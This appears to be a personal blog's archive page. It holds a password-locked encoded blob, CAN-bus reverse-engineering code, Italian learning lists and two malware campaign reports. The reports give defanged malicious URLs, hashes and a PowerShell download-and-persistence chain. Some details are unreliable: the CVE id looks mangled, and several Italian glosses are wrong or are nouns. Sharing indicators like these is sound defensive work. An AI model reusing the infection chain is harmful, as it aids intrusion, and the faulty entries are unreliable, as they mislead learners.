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;^

This challenge is currently active on HackTheBox, thus is required to be password protected. You will need to wait until the challenge is retired for the full solution. In special circumstances, you may email me for the password.

TryHackMe: Advent of Cyber 2024

2024-12-25T00:20:44-05:00

I've spent the past few weeks tackling TryHackMe's Advent of Cyber 2024.

Some of my favorite challenges were:

Day 1 OPSEC, searching online to try and find similar strings via GitHub to link back to the attacker
Day 7 AWS Log Analysis, I'm not super versed in cloud security, this was helpful information on log review for AWS
Day 16 Azure, same with above, more info into Azure CLI
Day 18 Prompt injection, AI has secured a foothold in our present and future. Finding ways to break LLMs for malicious purposes will constantly be looming, and with each evolution, it will get better at generating code and could create a completely autonomous way to generate malware and setup infrastructure
Day 19 Game Hacking, I have not heard of Frida before but was a fan of it. I have used burp proxies to intercept mobile traffic for mobile game hacking and also cheat engine for pc game hacking. This was another welcome addition to the toolkit.
Day 21 Reverse Engineering, Malware Analysis and Reverse Engineering is a true passion of mine and I enjoyed this room
Day 24 Communication protocols, Intercepting a new protocol to determine how to intercept and forge our own traffic was neat. I have done similar things with CANBus traffic in vehicles.

This was a pretty well-balanced room that covered a number of red team, blue team and purple team topics and I had a lot of fun with it!

S550 Mustang IPC Reverse Engineering

2024-02-04T14:50:50-05:00

Note: This post was published 4 Feb 2024, but was based off of research and work completed back in May 2023.

Introduction & Video Walkthrough

https://www.youtube.com/watch?v=OzUs28GIq0A

Back in 2020, I removed the analog instrument cluster from my 2015 Mustang GT Premium to upgrade it to a 2018 Digital Cluster (see here for more info on that: 2018+ Mustang Technology Retrofit – { Eric's Blog } (ericturner.it)). I kept the old cluster laying around, no idea what I wanted to do with it.

Fast forward to 2023, I had just recently purchased a 2016 Mustang GT350. I used a usb to OBD reader and performed some CANbus data logging while I interacted with buttons in the car multiple times in a row (turn signals, brights, arrow keys on the steering wheel, opening the doors). Then went for a short drive while data logging.

Reversing CANBus Data Log

With the data saved to files, and the cluster hooked up and ready for interface with my computer, I wrote some python code so I could replay my saved files in real time and monitor the console output whenever I saw lights or messages appear on the cluster. Through hours of brute-force trial and error, I was able to get a lot of information to be able to reproduce. Here was an example of how just one message ID can display a bunch of different information just from a few byte changes:

I could then hook up python code with some IF statements to map exactly what bytes would be sent for different lights or messages. Example excerpt below from the main s550_cluster.py file.

def send_misc_2(clusterdata):
    '''
        ABS, Traction Control Off, Traction Control Loss Icons, Airbag

        Byte 1 - 
            0x2_ - Check Brake System warning
            0x4_  - AdvanceTrac System Warning
        Byte 5 has to do with a solid traction control or a flashing icon
            0x00 - Off
            0x02 - Solid
            0x0F - Flashing
        Byte 6 -
            0x0_ - ABS light off
            0x4_ - ABS Solid
            0x8_ - ABS Flash Slow
            0xD_ - ABS Flash Fast
    '''
    if(clusterdata.icon_traction_control == 2):
        traction_control = 0x0F # flashing
    elif(clusterdata.icon_traction_control == 1):
        traction_control = 0x02 # solid on
    else:
        traction_control = 0x00 # off

    if(clusterdata.icon_abs == 2):
        abs_icon = 0xD0 # flashing
    elif(clusterdata.icon_abs == 1):
        abs_icon = 0x40 # solid on
    else:
        abs_icon = 0x00 # off


    data =  [00, 00, 00, 00, 00, traction_control, abs_icon, 00]
    return send_msg(MISC_2, start, data)

Wiring

With some functionality discovered, the old instrument cluster can be wired up for power and can messages to send the decoded messages from my computer to the cluster.

I had a subscription to Ford's Service Manual & Wiring Diagrams from awhile back so I already had the pin out to the connector on the back of the cluster

Pin out for the connector on the back

Wiring for Power, Ground and CANbus functions

Power went into a 5.5mm x 2.1mm 12V power connector. CANbus cables went into a USB-TO-CAN adapter I had from Canable.

What Works

All of the below indicators can be modified by game data, such as telemetry out from Euro Truck Simulator 2 or Forza Horizon 5 and re-mapped into the cluster for display

Turn Signal Indicator
High Beam / Headlight Indicator
Seatbelt Indicator / Chime
Airbag Indicator
Parking Brake Indicator
ABS Indicator
Traction Control Indicator
Hill Start Assist Warning Message (Suppressed)
Launch Control Indicator
Door Ajar Indicator / Warning
Speedometer
RPM
Engine Temp / Overheat Warning
Cluster Navigation (Arrow Keys + Enter key to interact with the on screen display)

Future Enhancements

At the time of writing in Feb 2024, I no longer have a mustang so data logging to find further functionality is not available to me. Things I would love to have work though:

Check Engine Indicator
Control Fuel Gauge (would require use of pins 9 & 10 on cluster)
TPMS Indicator
Fix the plethora of warnings when the cluster boots up
- Blind Spot Assist Not available
- Low Engine Oil pressure
- Steering Assist Fault Service Required
- Cross Traffic System Fault
- Fuel Level Low
- See Manual
- Door Ajar
- Tire Pressure Monitor Fault
Gauges
- Air/Fuel Ratio
- Boost/Vaccuum
- Oil Pressure
- Inlet Air Temp
- Miles to E
Odometer

If any one else has a mustang and can perform data-logging or reverse engineering, feel free to make pull requests to my github with more functionality!
Issues · EricTurner3/s550-canbus · GitHub

Top 200 Verbs in Italian

2023-04-20T21:24:53-04:00

Ecco l'elenco dei 200 verbi più importanti in italiano.

italiano

English

abitare

to live in

abituarsi

to get used to

accadere

to happen

accendere

to turn on / switch on

acquista

to buy

affittare

to rent out

aiutare

to help

amare

to love

andare

to go

apparire

to appear

appartenere a

to belong

appellarsi

to appeal

appendere

to hang

aprire

to open

arrivare

to arrive

ascensore

to lift

ascoltare

to listen

aspettare

to wait

assaggiate

to taste

attirare

to attract

augurare

to wish

avere

to have

baciare

to kiss

battere

to beat

bere

to drink

bisognare

to need

cadere

to fall

calcolare

to reckon

cambiare

to change

camminare

to walk

cancellare

to delete

cantare

to sing

capire

to understand

catturare

to catch

cenare

to have dinner

cercare

to look for

chiamare

to call

chiamarsi

to be called

chiedere

to ask

chiudere

to close

collegare

to plug

comportarsi

to behave

comprare

to buy

to share

condurre

to lead

confrontare

to compare

conoscere

to get to know

consentire

to allow

contare

to count

correre

to run

costare

to cost

creare

to create

credere

to believe

crescere

to grow

cucinare

to cook

cuocere

to cook

dare

to give

deciderare

to decide

decomprimere

to unclasp

desidera

to want/desire

dimenticare

to forget

dipingere

to paint

dire

to say

discutere

to argue

disegnare

to draw

dispiacere

to be sorry

disturbare

to disturb

diventare

to become

divertirsi

to have fun

doccia

to shower

dormire

to sleep

dotare

to endow

dovere

must/shall

entrare

to enter

essere

to be

fare

to do / to make

ferire

to hurt

fermare

to stop

festeggiare

to celebrate

finire

to finish/end

fumire

to smoke

gara

to race

giocare

to play

godere

to enjoy

gridare

to cry / shout

guadagnare

to earn

guardare

to watch

imparare

to learn

incontrare

to meet

indossare

to wear

infastidire

to annoy

informare

to inform

iniziare

to start / begin

installare

to install

interessare

to interest

inviare

to send

invitare

to invite

lasciare

to leave, to let

lavare

to wash

lavorare

to work

leggere

to read

mancare

to miss

mandare

to send

mangiare

to eat

mentire

to lie

mettere

to put

morire

to die

mostrare

to show

nascere

to be born

nascondere

to hide

nevicare

to snow

nuotare

to swim

odiare

to hate

offerta

to offer

ordinare

to order

ottenere

to get

pagare

to pay

parlare

to speak

partire

to leave

pensare

to think

perdere

to lose

piacere

to like

piovere

to rain

portare

to bring

porre

to ask

potere

can, to be able to

pranzare

to have lunch

prendere

to take

preparare

to prepare

presentare

to introduce

provare

to try

pulire

to clean

raccomandare

to recommend

ricercare

to search

ricevere

to receive

ricordare

to remember

ridete

to laugh

rimanere

to stay

ringraziare

to thank

riparazione

to repair

ripetere

to repeat

riposare

to rest

rispondere

to reply

risposta

to reply

risvegliare

to rouse

rompere

to break

rubare

to steal

salire

to go up

salutare

to greet

sapere

to know

scaricare

to download

scegliete

to choose

scendere

to get off

scrivere

to write

scusarsi

to apologize

sedere

to sit

seguire

to follow

sembrare

to seem

sentire

to feel

sento odore di

to smell

servire

to serve / to need

significare

to mean

sognare

to dream

sorridere

to smile

sparare

to shoot

spedire

to mail

spegnere

to shut down

sperare

to hope

spiegare

to explain

spingere

to push

sposare

to marry

spostare

to move

stampare

to press

studiare

to study

svegliarsi

to wake up

tagliare

to cut

telefonare

to phone

tenere

to hold

tentare

to attempt

tirare

to pull

toccare

to touch

tornare

to return

tradurre

to translate

traslocare

to move out

trovare

to find

usare

to use

uscire

to exit

vedere

to see

vedi

to see

vendere

to sell

venire

to come

viaggiare

to travel

vietare

to prohibit

vincere

to win

visitare

to visit

vivere

to live

volare

to fly

volere

to want

If you use an app such as AnkiApp, you can import this word list with a csv like so:

verbi_di_italiano_UTF8 Download

QAKBot Campaign 6Apr2023

2023-04-18T12:04:00-04:00

Correspondence

Sender

Subject

Attachment Name

Attachment Hash (with VirusTotal link)

clemke[@]e-chuppah[.]com

RE: New Borrowers

AK.pdf

9521bc74735d1300e182eaa98299023ba08acc9af17b85cc50b3938c99bd0b32

aschaden[@]shopbarbay[.]com

FW: Check Image Request

NI.pdf

93482d229926521cfc0000bda2e931181e0f06f4a9f808f0068634678ae9a0fc

wtremblay[@]aaofoo[.]com

RE: Cashing Third Party Checks

CT.pdf

77a2b75334a8e3a4e2960e0c1600a1ea14933bba1f4a7297ad177e140f3302f2

se[.]jursnaeb[@]adyasiddhi[.]com

RE: Hello--

TX.pdf

3a0141a9b22639c969244967676c999757406383cf8eb0eb75a9e89176661045

This particular campaign came from various senders. All attachment names were similar to a two-letter US state abbreviation format.

File Analysis

TX.pdf was also uploaded to Hybrid Analysis for further inspection, here. The PDF contained a link to download the next stage, an encrypted ZIP:

The second stage downloads PowerShell which then attempts to enumerate a list of compromised domains in order to continue. The sample that I tested had all dead links and did not proceed to the PowerShell script download however it matched similar behavior to this, QBot banker delivered through business correspondence | Securelist.

Indicators

SHA256

9521bc74735d1300e182eaa98299023ba08acc9af17b85cc50b3938c99bd0b32

93482d229926521cfc0000bda2e931181e0f06f4a9f808f0068634678ae9a0fc

77a2b75334a8e3a4e2960e0c1600a1ea14933bba1f4a7297ad177e140f3302f2

3a0141a9b22639c969244967676c999757406383cf8eb0eb75a9e89176661045

URLs
hxxps://vcallc[.]us/ines/ines[.]php (First Stage, ZIP Dropper)

Trojan.Kryptic - 22 Mar 2023

2023-03-22T15:37:00-04:00

Initial Email

An email was discovered from comel[@]industry-mass[.]com. This site was created within the last 15 days.
The email was titled Tax return 2022 and contained a .docx file.

Opening this file initially looks like an actual tax return. I have redacted the private information from the screenshot

Behind the scenes, a macro runs that exploits the CVE-2022-301090 MSDT vulnerability.

Payload Stage 1: MSDT Vulnerability

The macro calls out to hxxps:\files[.]catbox[.]moe/sndoli[.]hta which contains obfuscated script.

When chained with the CVE-2022-301090 vuln, this becomes powershell that makes an IEX request to hxxps://powpowpowffs5[.]blogspot[.]com/atom.xml. This URL immediately 302 redirects to 529f38d0-3744-4286-b484-be860d475d25[.]usrfiles[.]com/ugd/529f38_05b9ed78f84140d6b73380af191cbd42.txt for the stage 2 powershell.

Payload Stage 2: Main Powershell

More obfuscation. The initial steps of the script kills several windows processes, it then saves the payload to C:\ProgramFiles\MEMEMAN\CypherDeptoggraphy.~+~ before decrypting to a ScheduledTask creation for the file C:\ProgramData\MEMEMAN\UpdateEscan.js.

Execution

The final payload was downloaded and executed within PowerShell around 2:17p 22 Mar. The payload was able to successfully copy itself & create additional files to the MEMEMAN dir. Next it cloned itself to the Windows startup directory and create the two scheduled tasks to maintain persistence.

Antivirus detection of proces

Indicators

Hashes

SHA256 Hash

Description

9e49747bcd7e4eea173a793a0a6c34f3533dc23cf6565d32e4de3a33ad3c8fed

SHA2 of initial .docx file

dac71c21f264036c2c0288340ad6889002a4ed8f4dee74da35b15f7a8a26b473

SHA2 of the .hta file

a905e397a6bb3374a54fa8ebccf57ff3b8d0f2cd0aca4c9091b0b19fd85d67b3

SHA2 of the master payload

9c7aefd09d3939a04aa2e36e553881b3ffd88efe8fdda7121a80f37653606b0d

SHA2 of REALENGINEUPDATE.js, a persistence file spawned by the execution of the master payload

6b4fb85973c337fd7cf1b272ab313557a2d256314ab599638fac3ba3d6e8ffb7

SHA2 of UpdateEscan.js, a persistence file spawned by the execution of the master payload

e7831599adde64042091b5db47032e3a3c3b2f7b8720156900b38f35ca2d8936

SHA2 of WindowsDEFENDERUPDATE.js, a persistence file spawned by the execution of the master payload

9b57c468f4df5bbedb75d0027348a2dd278e4d168b83a6e74c777d6737de0606

SHA2 of CypherDeptography.~_~, a persistence file spawned by the execution of the master payload

URLs

URL

Description

urlcallinghta6[.]blogspot[.]com/atom[.]xml

1st URL request from .docx file

files[.]catbox[.]moe/sndoli[.]hta

2nd URL that was the result of a 302 redirect from 1st URL.

powpowpowffs5[.]blogspot[.]com/atom[.]xml

3rd URL that was contacted from the decoded powershell code in sndoli.hta

529f38d0-3744-4286-b484-be860d475d25[.]usrfiles.com/ugd/529f38_05b9ed78f84140d6b73380af191cbd42[.]txt

4th URL that was the result of a 302 redirect from 3rd URL

bakc2000[.]blogspot.com/atom[.]xml

URL used by one of the files for persistence, re

backuphotelall[.]blogspot.com/atom[.]xml

URL used by one of the files for persistence

Other Resources

Bigliettino di Siri (Siri Cheat Sheet)

2023-03-16T21:23:20-04:00

I've found that Siri can be great for practicing speaking and listening in a new language, plus it helps you learn critical phrases that are used on a day to day basis. Here's a cheat sheet of things to ask Siri. Most of this was sourced from the Apple Support pages but is on one page for ease of reference.

Fare una chiamata

Ehi Siri, chiama mamma.

Hey Siri, call Mom

Ehi Siri, chiama il cellulare di Marco in vivavoce.

Hey Siri, call Marco's cell on speaker

Inviare un messaggio

Ehi Siri, invia un messaggio a Laura.

Hey Siri, send a message to Laura.

Ehi Siri, invia un messaggio di testo a Sofia e Adriano che dice: ‘Dove siete?'

Hey Siri, send a text message to Sofia and Adriano that says, "Where are you?"

Scoprire il meteo

Ehi Siri, che tempo farà oggi?

Hey Siri, what's the weather like today?

Ehi Siri, avrò bisogno di un ombrello domani?

Hey Siri, will I need an umbrella tomorrow?

Trovare posti e indicazioni

Ehi Siri, trova un bar nelle vicinanze.

Hey Siri, find a café nearby.

Ehi Siri, trova le indicazioni per tornare a casa.

